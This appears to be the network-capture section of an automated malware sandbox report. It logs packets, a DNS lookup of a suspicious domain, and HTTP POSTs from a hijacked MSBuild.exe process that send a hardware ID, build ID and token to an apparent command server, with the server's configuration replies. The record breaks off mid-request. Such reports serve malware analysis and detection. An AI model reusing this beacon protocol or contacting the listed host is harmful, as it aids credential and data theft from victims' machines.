Oct 7, 2024 03:16:36.229509115 CEST	443	49994	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.229568958 CEST	49994	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.229824066 CEST	49994	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.229835987 CEST	443	49994	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.229851007 CEST	49994	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.229856968 CEST	443	49994	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.233030081 CEST	49999	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.233102083 CEST	443	49999	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.233197927 CEST	49999	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.233345032 CEST	49999	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.233364105 CEST	443	49999	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.317317009 CEST	443	49995	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.317817926 CEST	49995	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.317854881 CEST	443	49995	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.318476915 CEST	49995	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.318491936 CEST	443	49995	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.427664042 CEST	443	49996	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.428212881 CEST	49996	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.428267002 CEST	443	49996	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.428930044 CEST	49996	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.428942919 CEST	443	49996	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.433362961 CEST	443	49995	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.433383942 CEST	443	49995	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.433397055 CEST	443	49995	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.433489084 CEST	49995	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.433538914 CEST	443	49995	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.433578014 CEST	49995	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.433600903 CEST	49995	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.513186932 CEST	443	49997	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.513916969 CEST	49997	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.513942957 CEST	443	49997	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.514403105 CEST	49997	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.514409065 CEST	443	49997	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.522090912 CEST	443	49995	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.522166967 CEST	443	49995	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.522192955 CEST	49995	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.522248030 CEST	49995	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.522341967 CEST	49995	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.522396088 CEST	443	49995	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.522428989 CEST	49995	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.522444010 CEST	443	49995	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.525710106 CEST	50000	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.525744915 CEST	443	50000	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.525839090 CEST	50000	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.525949001 CEST	50000	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.525962114 CEST	443	50000	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.528405905 CEST	443	49996	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.528429031 CEST	443	49996	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.528511047 CEST	49996	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.528552055 CEST	443	49996	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.528898954 CEST	443	49996	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.528965950 CEST	49996	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.529026985 CEST	49996	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.529058933 CEST	443	49996	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.529086113 CEST	49996	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.529107094 CEST	443	49996	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.531881094 CEST	50001	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.531934977 CEST	443	50001	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.532030106 CEST	50001	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.532186031 CEST	50001	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.532202959 CEST	443	50001	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.604702950 CEST	443	49998	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.605304956 CEST	49998	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.605318069 CEST	443	49998	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.605807066 CEST	49998	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.605813026 CEST	443	49998	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.615510941 CEST	443	49997	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.615571022 CEST	443	49997	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.615612984 CEST	443	49997	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.615650892 CEST	49997	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.615662098 CEST	443	49997	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.615721941 CEST	49997	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.702377081 CEST	443	49997	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.702467918 CEST	443	49997	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.702493906 CEST	49997	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.702512026 CEST	443	49997	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.702524900 CEST	49997	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.702555895 CEST	49997	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.702604055 CEST	443	49997	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.702713966 CEST	49997	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.702734947 CEST	443	49997	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.702749014 CEST	49997	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.702749014 CEST	49997	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.702756882 CEST	443	49997	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.702764988 CEST	443	49997	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.703279018 CEST	443	49998	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.703332901 CEST	443	49998	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.703414917 CEST	49998	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.703424931 CEST	443	49998	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.703469992 CEST	49998	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.703476906 CEST	443	49998	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.703538895 CEST	49998	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.703612089 CEST	49998	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.703615904 CEST	443	49998	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.703625917 CEST	49998	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.703629017 CEST	443	49998	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.705801964 CEST	50002	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.705810070 CEST	50003	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.705842972 CEST	443	50002	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.705849886 CEST	443	50003	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.705930948 CEST	50002	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.706078053 CEST	50003	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.706078053 CEST	50003	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.706079006 CEST	50002	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.706096888 CEST	443	50002	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.706110954 CEST	443	50003	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.884008884 CEST	443	49999	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.884533882 CEST	49999	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.884562969 CEST	443	49999	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.885026932 CEST	49999	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.885031939 CEST	443	49999	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.992320061 CEST	443	49999	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.992378950 CEST	443	49999	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.992469072 CEST	49999	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.992479086 CEST	443	49999	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.992523909 CEST	443	49999	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.992578983 CEST	49999	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.992743969 CEST	49999	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.992754936 CEST	443	49999	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.992763042 CEST	49999	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.992768049 CEST	443	49999	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.995609045 CEST	50004	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.995651007 CEST	443	50004	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:36.995728016 CEST	50004	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.995891094 CEST	50004	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:36.995903969 CEST	443	50004	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.164433956 CEST	443	50000	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.164983034 CEST	50000	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.164997101 CEST	443	50000	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.165477037 CEST	50000	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.165482998 CEST	443	50000	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.180562019 CEST	443	50001	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.180910110 CEST	50001	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.180937052 CEST	443	50001	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.181631088 CEST	50001	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.181637049 CEST	443	50001	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.262481928 CEST	443	50000	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.262697935 CEST	443	50000	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.262789011 CEST	50000	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.263039112 CEST	50000	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.263057947 CEST	443	50000	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.263070107 CEST	50000	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.263078928 CEST	443	50000	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.265974998 CEST	50005	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.266057014 CEST	443	50005	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.266148090 CEST	50005	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.266297102 CEST	50005	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.266318083 CEST	443	50005	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.278928041 CEST	443	50001	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.279145956 CEST	443	50001	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.279230118 CEST	50001	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.279354095 CEST	50001	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.279372931 CEST	443	50001	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.279381990 CEST	50001	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.279391050 CEST	443	50001	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.281382084 CEST	50006	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.281407118 CEST	443	50006	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.281502962 CEST	50006	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.281605005 CEST	50006	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.281619072 CEST	443	50006	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.345036983 CEST	443	50002	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.348639965 CEST	50002	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.348661900 CEST	443	50002	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.349107981 CEST	50002	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.349112988 CEST	443	50002	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.364551067 CEST	443	50003	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.368521929 CEST	50003	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.368536949 CEST	443	50003	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.368908882 CEST	50003	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.368915081 CEST	443	50003	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.466006041 CEST	443	50003	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.466183901 CEST	443	50003	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.466399908 CEST	50003	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.466526985 CEST	50003	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.466537952 CEST	443	50003	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.466552019 CEST	50003	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.466558933 CEST	443	50003	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.470242977 CEST	50007	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.470290899 CEST	443	50007	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.470422029 CEST	50007	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.470593929 CEST	50007	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.470608950 CEST	443	50007	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.651972055 CEST	443	50002	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.652142048 CEST	443	50002	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.652307987 CEST	50002	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.652609110 CEST	50002	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.652626991 CEST	443	50002	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.652637005 CEST	50002	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.652642012 CEST	443	50002	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.655819893 CEST	50008	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.655865908 CEST	443	50008	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.655997992 CEST	50008	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.656156063 CEST	50008	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.656168938 CEST	443	50008	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.674459934 CEST	443	50004	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.675008059 CEST	50004	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.675035000 CEST	443	50004	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.675753117 CEST	50004	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.675761938 CEST	443	50004	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.777995110 CEST	443	50004	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.778073072 CEST	443	50004	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.778132915 CEST	50004	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.778151035 CEST	443	50004	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.778184891 CEST	443	50004	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.778243065 CEST	50004	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.778408051 CEST	50004	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.778429031 CEST	443	50004	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.778453112 CEST	50004	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.778462887 CEST	443	50004	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.900954962 CEST	443	50005	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.901515007 CEST	50005	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.901602983 CEST	443	50005	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.901925087 CEST	50005	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.901940107 CEST	443	50005	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.921621084 CEST	443	50006	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.922111988 CEST	50006	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.922188997 CEST	443	50006	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:37.922566891 CEST	50006	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:37.922583103 CEST	443	50006	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:38.000094891 CEST	443	50005	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:38.000427008 CEST	443	50005	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:38.000551939 CEST	50005	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:38.000551939 CEST	50005	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:38.000639915 CEST	50005	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:38.000682116 CEST	443	50005	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:38.019689083 CEST	443	50006	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:38.019845963 CEST	443	50006	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:38.019928932 CEST	50006	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:38.020041943 CEST	50006	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:38.020041943 CEST	50006	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:38.020087004 CEST	443	50006	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:38.020118952 CEST	443	50006	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:38.160303116 CEST	443	50007	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:38.161104918 CEST	50007	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:38.161124945 CEST	443	50007	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:38.161870003 CEST	50007	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:38.161885977 CEST	443	50007	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:38.264903069 CEST	443	50007	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:38.265090942 CEST	443	50007	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:38.265160084 CEST	50007	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:38.265348911 CEST	50007	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:38.265374899 CEST	443	50007	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:38.265388966 CEST	50007	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:38.265396118 CEST	443	50007	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:38.326795101 CEST	443	50008	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:38.327544928 CEST	50008	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:38.327557087 CEST	443	50008	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:38.327838898 CEST	50008	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:38.327845097 CEST	443	50008	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:38.429152966 CEST	443	50008	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:38.429301023 CEST	443	50008	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:38.429363012 CEST	50008	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:38.429445982 CEST	50008	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:38.429460049 CEST	443	50008	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:38.429471016 CEST	50008	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:38.429476023 CEST	443	50008	13.107.246.45	192.168.2.4
Oct 7, 2024 03:17:04.817006111 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:17:04.817131042 CEST	49737	80	192.168.2.4	95.164.90.97

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 03:15:34.489376068 CEST	61377	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:15:34.522042990 CEST	53	61377	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 03:15:34.489376068 CEST	192.168.2.4	1.1.1.1	0x7ff1	Standard query (0)	lade.petperfectcare.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 03:15:26.512084007 CEST	1.1.1.1	192.168.2.4	0x6e35	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 03:15:26.512084007 CEST	1.1.1.1	192.168.2.4	0x6e35	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:15:34.522042990 CEST	1.1.1.1	192.168.2.4	0x7ff1	No error (0)	lade.petperfectcare.com		95.164.90.97	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:15:54.914711952 CEST	1.1.1.1	192.168.2.4	0xbf6	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 03:15:54.914711952 CEST	1.1.1.1	192.168.2.4	0xbf6	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

lade.petperfectcare.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	95.164.90.97	80	6616	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:15:34.574707031 CEST	98	OUT	GET / HTTP/1.1 Host: lade.petperfectcare.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 03:15:35.553884983 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 01:15:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 7, 2024 03:15:35.558476925 CEST	446	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGCGDBGCAAEBFIECGHD Host: lade.petperfectcare.com Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 32 37 44 37 35 39 45 33 32 37 39 33 39 39 34 38 38 30 37 35 33 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 2d 2d 0d 0a Data Ascii: ------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="hwid"E27D759E32793994880753-a33c7340-61ca------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------JDGCGDBGCAAEBFIECGHD--
Oct 7, 2024 03:15:36.171524048 CEST	232	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 01:15:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 35 39 33 65 63 39 32 30 37 32 35 31 39 62 39 65 65 62 37 61 37 39 34 62 63 64 37 36 36 62 64 35 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|593ec92072519b9eeb7a794bcd766bd5\|1\|1\|1\|0\|0\|50000\|10
Oct 7, 2024 03:15:36.173557043 CEST	521	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJEBAAECBGDHIECAKJK Host: lade.petperfectcare.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 39 33 65 63 39 32 30 37 32 35 31 39 62 39 65 65 62 37 61 37 39 34 62 63 64 37 36 36 62 64 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------KKJEBAAECBGDHIECAKJKContent-Disposition: 